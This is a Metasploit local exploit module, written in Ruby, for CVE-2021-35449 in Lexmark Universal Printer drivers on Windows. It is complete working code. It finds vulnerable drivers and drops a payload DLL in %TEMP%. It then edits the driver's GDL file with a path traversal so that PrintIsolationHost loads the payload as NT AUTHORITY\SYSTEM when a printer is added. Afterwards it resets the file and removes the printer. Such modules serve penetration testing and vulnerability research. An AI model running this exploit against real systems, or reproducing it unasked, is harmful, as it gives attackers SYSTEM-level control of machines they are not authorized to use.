##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Post::Windows::Priv
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Lexmark Driver Privilege Escalation',
        'Description' => %q{
          Various Lexmark Universal Printer drivers as listed at advisory TE953
          allow low-privileged authenicated users to elevate their privileges to
          SYSTEM on affected Windows systems by modifying the XML file at
          C:\ProgramData\<driver name>\Universal Color Laser.gdl
          to replace the DLL path to unires.dll with a malicious DLL path.

          When C:\Windows\System32\Printing_Admin_Scripts\en-US\prnmngr.vbs is
          then used to add the printer to the affected system, PrintIsolationHost.exe,
          a Windows process running as NT AUTHORITY\SYSTEM, will inspect the
          C:\ProgramData\<driver name>\Universal Color Laser.gdl file and will
          load the malicious DLL from the path specified in the file. This which will
          result in the malicious DLL executing as NT AUTHORITY\SYSTEM.

          Once this module is finished, it will use the prnmngr.vbs script
          to remove the printer it added.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Jacob Baines', # discovery, PoC, module
          'Shelby Pace', # original Ricoh driver module
          'Grant Willcox' # module
        ],
        'References' =>
          [
            [ 'CVE', '2021-35449'],
            [ 'URL', 'https://support.lexmark.com/index?page=content&id=TE953'],
            [ 'URL', 'https://github.com/jacob-baines/concealed_position'],
            [ 'URL', 'https://media.defcon.org/DEF%20CON%2029/DEF%20CON%2029%20presentations/Jacob%20Baines%20-%20Bring%20Your%20Own%20Print%20Driver%20Vulnerability.pdf']
          ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'Platform' => 'win',
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' =>
          [
            [
              'Windows', { 'Arch' => [ ARCH_X86, ARCH_X64 ] }
            ]
          ],
        'Notes' =>
        {
          'SideEffects' => [ ARTIFACTS_ON_DISK ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ SERVICE_RESOURCE_LOSS ]
        },
        'DisclosureDate' => '2021-07-15',
        'DefaultTarget' => 0
      )
    )
    register_options(
      [OptString.new('DRIVERNAME', [false, 'The name of the Lexmark driver to exploit', ''])]
    )
    self.needs_cleanup = true
  end

  # Check to see if a there are Lexmark drivers in the driver store.
  # If there are, validate that they are similar to the ones we want
  # to exploit. The user can specify the driver they'd like to exploit
  # as option. Otherwise, the first vulnerable driver from the driver store
  # will be selected.
  def check
    res = cmd_exec('pnputil.exe /enum-drivers')
    m = res.scan(%r{Published Name:     ([^.]*\.inf)\r\nOriginal Name:      lmu.*?.inf\r\nProvider Name:      Lexmark International\r\nClass Name:         Printers\r\nClass GUID:         {4d36e979-e325-11ce-bfc1-08002be10318}\r\nDriver Version:     (\d+)/\d+/(\d+) \d+\.\d+\.\d+\.\d+}m)

    return CheckCode::Safe('No Lexmark print drivers in the driver store') if m.empty?

    # known vulnerable drivers
    driver_list = ['Lexmark Universal v2', 'Lexmark Universal v2 XL', 'Lexmark Printer Software G2', 'Lexmark Printer Software G2 XL']
    found_drivers = []

    for path in m
      print_status("Lexmark driver published at #{path[0]}")
      inf_text = read_file("C:\\Windows\\inf\\#{path[0]}")
      for driver in driver_list
        if inf_text.include?(driver)
          found_drivers.push(driver)
        end
      end
    end

    return CheckCode::Safe('None of the Lexmark drivers in the driver store are known to be vulnerable') if found_drivers.empty?

    found_drivers = found_drivers.uniq
    print_status("Found #{found_drivers.length} possible options:")
    for driver in found_drivers
      print_status("\t#{driver}")
    end

    # select driver to exploit
    @drvr_name = datastore['DRIVERNAME']
    if @drvr_name.empty?
      @drvr_name = found_drivers[0]
      print_status("No user provided DRIVERNAME. Defaulting to \"#{@drvr_name}\"")
    else
      return CheckCode::Safe('The user specified driver is not in the driver store') unless found_drivers.include?(@drvr_name)

      print_status('The user selected driver was in the driver store')
    end

    @gdl_file = 'C:\\ProgramData\\' + @drvr_name + '\\Universal Color Laser.gdl'
    CheckCode::Detected('A potentially vulnerable Lexmark print driver is available.')
  end

  def do_add_printer_vbs
    script_cmd = "cscript \"#{@script_path}\" -a -p \"#{@printer_name}\" -m \"#{@drvr_name}\" -r \"lpt1:\""
    print_status("Adding printer #{@printer_name}...")
    cmd_exec(script_cmd)
  end

  def add_printer
    fail_with(Failure::NotFound, 'Printer driver script not found') unless file?(@script_path)
    fail_with(Failure::NotFound, 'No driver name set') if @drvr_name.empty?

    # If the driver has never been installed, then the vulnerable file won't exist. So let's
    # install once if necessary
    if !file?(@gdl_file)
      do_add_printer_vbs
      cleanup
    end

    return CheckCode::Safe('No Lexmark GDL file found') unless file?(@gdl_file)

    # dump exploit dll to disk
    dll_data = generate_payload_dll
    temp_path = expand_path('%TEMP%\\')
    temp_path.concat(Rex::Text.rand_text_alpha(5..9))
    temp_path.concat('.dll')
    vprint_status("Writing dll to #{temp_path}")
    write_file(temp_path, dll_data)
    register_files_for_cleanup(temp_path)

    # replace a DLL path to one in our control
    traversal_path = '..\\..\\..\\..\\..\\..'
    traversal_path.concat(temp_path[2..-1])
    text = read_file(@gdl_file)
    new_contents = text.gsub(/unires.dll/, traversal_path)
    write_file(@gdl_file, new_contents)

    # trigger exploitaiton
    do_add_printer_vbs

    # reset the path
    text = read_file(@gdl_file)
    new_contents = text.gsub(traversal_path, 'unires.dll')
    write_file(@gdl_file, new_contents)
  rescue Rex::Post::Meterpreter::RequestError => e
    fail_with(Failure::Unknown, "#{e.class} #{e.message}")
  end

  def exploit
    fail_with(Failure::None, 'Already running as SYSTEM') if is_system?

    fail_with(Failure::None, 'Must have a Meterpreter session to run this module') unless session.type == 'meterpreter'

    if sysinfo['Architecture'] != payload.arch.first
      fail_with(Failure::BadConfig, 'The payload should use the same architecture as the target driver')
    end

    @printer_name = Rex::Text.rand_text_alpha(5..9)
    @script_path = 'C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\prnmngr.vbs'
    add_printer
  end

  def cleanup
    print_status("Deleting printer #{@printer_name}")
    delete_cmd = "cscript \"#{@script_path}\" -d -p \"#{@printer_name}\""
    cmd_exec(delete_cmd)
  end
end